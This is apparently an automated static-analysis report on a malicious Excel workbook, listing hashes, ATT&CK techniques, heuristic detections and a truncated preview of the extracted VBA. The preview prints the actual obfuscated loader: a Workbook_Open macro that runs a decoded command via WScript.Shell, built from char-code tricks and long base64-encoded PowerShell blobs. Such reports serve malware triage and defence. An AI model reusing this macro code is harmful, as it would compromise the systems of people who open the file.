Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b60f491fa23c7ae5…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-09-27 00:28:18 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-09-29
MD5: 94a53f108adc4ad30d8e4e7ac938d77c SHA-1: 2976c3b79ac9831cf2a90d1d8085e9d1feebeec8 SHA-256: b60f491fa23c7ae551fcbe685ccb099a348935bb734065388bfd21e5696bbf13
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The file contains a Workbook_Open macro that triggers obfuscated VBA code. This code utilizes WScript.Shell to execute a command, likely to download and run a second-stage payload. The obfuscation and use of WScript.Shell indicate a malicious intent to compromise the system.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6259 bytes
SHA-256: 0f5f42dbe93c9e8401e513a46327b7bb3c5928da29d94195f675a1185f06fef4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub workbook_open()
zy.xfbf
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "zy"
Function qwaayairaxvwdjwfgmrimeibbolrnqtyemjdhm(ainhrwecrhwvlgnjjszl As String)
jdaanvjxltkmsvshvtplipfkmkicqkfnzrzzpj = 0

ncb = "vbxcb bnvbcv czxc vxcbvxcb"

qvebeotidjdhuepfznpamheqrs = "WSCript.shell"
Set duvtypo = CreateObject(qvebeotidjdhuepfznpamheqrs)

jqonc = duvtypo.Run(ainhrwecrhwvlgnjjszl, jdaanvjxltkmsvshvtplipfkmkicqkfnzrzzpj)
End Function
Sub xfbf()
pbwk = vbnghfg(211) & vbnghfg(221) & vbnghfg(212) & vbnghfg(176) & vbnghfg(191) & vbnghfg(243) & vbnghfg(176) & vbnghfg(256) & vbnghfg(223) & vbnghfg(238) & vbnghfg(231) & vbnghfg(238) & vbnghfg(245) & vbnghfg(258) & vbnghfg(227) & vbnghfg(238) & vbnghfg(216) & vbnghfg(245) & vbnghfg(238) & vbnghfg(252) & vbnghfg(252) & vbnghfg(176) & vbnghfg(189) & vbnghfg(245) & vbnghfg(176)
pbwk = pbwk & "WwBzAFkAcwBUAGUATQAuAHQAZQB4AHQALgBFAG4AQwBPAEQASQBOAEcAXQA6ADoAdQBOAEkAYwBvAEQARQAuAEcARQB0AFMAVAByAEkAbgBHACgAWwBTAFkAcwB0AGUAbQAuAGMAbwBOAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAEEAUwBFADYANABzAHQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEAS"
pbwk = pbwk & "wBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAawBBAGIAUQBCAGgAQQBHAG8AQQBhAGcAQgB1AEEARwBVAEEAZQBRAEIAeQBBAEcATQBBAGMAQQBCADMAQQBIAFEAQQBjAGcAQgAzAEEASABRAEEAZQBBAEIAeQBBAEgAYwBBAGQAdwBCAHoAQQBIAEkAQQBaAEEAQgBwAEEASABvAEEAYQBBAEIAaQBBAEcAVQBBAGUAZwBCADUAQQBHAG8AQQBaAFEAQgBtAEEARwBJAEEASQBBAEEAbwBBAEMAQQBBAEoAQQBCAGsAQQBIAE0AQQBkAHcAQgBoAEEARwB3AEEAZABRAEIAeABBAEcATQBBAGIAZwBCAGsAQQBIAFEAQQBJAEEAQQBzAEEAQwBBAEEASgBBAEIAdwBBAEcAYwBBAFkAdwBCAGgAQQBHAHMAQQBZAHcAQgBqAEEARwA0AEEAZQBRAEIAMgBBAEcAZwBBAGEAZwBCAHoAQQBHAHMAQQBJAEEAQQBwAEEAQQAwAEEAQwBnAEIANwBBAEMAQQBBAFMAUQBCAE4AQQ"
pbwk = pbwk & "BIAEEAQQBiAHcAQgBTAEEASABRAEEATABRAEIATgBBAEcAOABBAFoAQQBCADEAQQBHAHcAQQBSAFEAQQBnAEEARwBJAEEAYQBRAEIAVQBBAEYATQBBAGQAQQBCAHkAQQBFAEUAQQBiAGcAQgBUAEEARQBZAEEAUgBRAEIAUwBBAEQAcwBBAEQAUQBBAEsAQQBIAE0AQQBkAEEAQgBoAEEARgBJAEEAZABBAEEAdABBAEUASQBBAFMAUQBCADAAQQBGAE0AQQBkAEEAQgB5AEEARwBFAEEAYgBnAEIAegBBAEcAWQBBAFoAUQBCAHkAQQBDAEEAQQBMAFEAQgB6AEEARwA4AEEAVgBRAEIAeQBBAEUATQBBAFoAUQBBAGcAQQBDAFEAQQBaAEEAQgB6AEEASABjAEEAWQBRAEIAcwBBAEgAVQBBAGMAUQBCAGoAQQBHADQAQQBaAEEAQgAwAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBCAEEARgBRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAEEAQQBaAHcAQgBqAEEARwB"
pbwk = pbwk & "FAEEAYQB3AEIAagBBAEcATQBBAGIAZwBCADUAQQBIAFkAQQBhAEEAQgBxAEEASABNAEEAYQB3AEEANwBBAEMAQQBBAEoAZwBBAGcAQQBDAFEAQQBjAEEAQgBuAEEARwBNAEEAWQBRAEIAcgBBAEcATQBBAFkAdwBCAHUAQQBIAGsAQQBkAGcAQgBvAEEARwBvAEEAYwB3AEIAcgBBAEQAcwBBAEkAQQBCADkAQQBIAFEAQQBjAGcAQgA1AEEASABzAEEASgBBAEIAcABBAEcAWQBBAGIAUQBCADIAQQBIAGsAQQBiAHcAQgB2AEEASABnAEEAYwBBAEIAcQBBAEcAMABBAGUAZwBCAGoAQQBIAGcAQQBhAGcAQgB6AEEARwA4AEEAYwBBAEIAcABBAEQAMABBAEoAQQBCAEYAQQBHADQAQQBWAGcAQQA2AEEARgBRAEEAWgBRAEIATgBBAEYAQQBBAEsAdwBBAG4AQQBGAHcAQQBkAFEAQgBwAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgA1AEEARwAwAEEAWQBRAEIAcQBBAEcAbwBB"
pbwk = pbwk & "AGIAZwBCAGwAQQBIAGsAQQBjAGcAQgBqAEEASABBAEEAZAB3AEIAMABBAEgASQBBAGQAdwBCADAAQQBIAGcAQQBjAGcAQgAzAEEASABjAEEAYwB3AEIAeQBBAEcAUQBBAGEAUQBCADYAQQBH
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23040 bytes
SHA-256: 5b03b2b12ee655eb47e2c3902410c5167b00486e4893f3b1757758086ca9b613
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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